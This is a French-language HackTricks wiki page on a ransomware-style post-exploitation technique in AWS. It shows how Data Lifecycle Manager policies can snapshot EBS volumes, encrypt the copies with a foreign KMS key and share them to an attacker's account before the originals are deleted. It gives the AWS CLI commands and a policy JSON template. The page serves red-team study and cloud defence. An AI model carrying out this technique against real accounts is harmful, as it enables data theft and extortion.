AWS - DLM Post Exploitation

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Une attaque de ransomware peut être réalisée en chiffrant autant d'EBS volumes que possible puis en effaçant les EC2 instances, EBS volumes et snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une KMS key provenant d'un autre AWS account et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils peuvent transférer des snapshots sans chiffrement vers un compte qu'ils contrôlent puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement des EBS volumes ou snapshots existants, il est possible de le faire en créant un nouveau volume ou snapshot.

Premièrement, on utilisera une commande pour récupérer des informations sur les volumes, telles que instance ID, volume ID, encryption status, attachment status et volume type.

aws ec2 describe-volumes

Deuxièmement, on créera la lifecycle policy. Cette commande utilise la DLM API pour configurer une lifecycle policy qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un horaire défini. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json contient les détails de la lifecycle policy, tels que target tags, schedule, l'ARN de la KMS key optionnelle pour le chiffrement, et le target account pour le partage des snapshots, qui seront enregistrés dans les logs CloudTrail de la victime.

bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Un modèle du document de politique est disponible ici :

bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks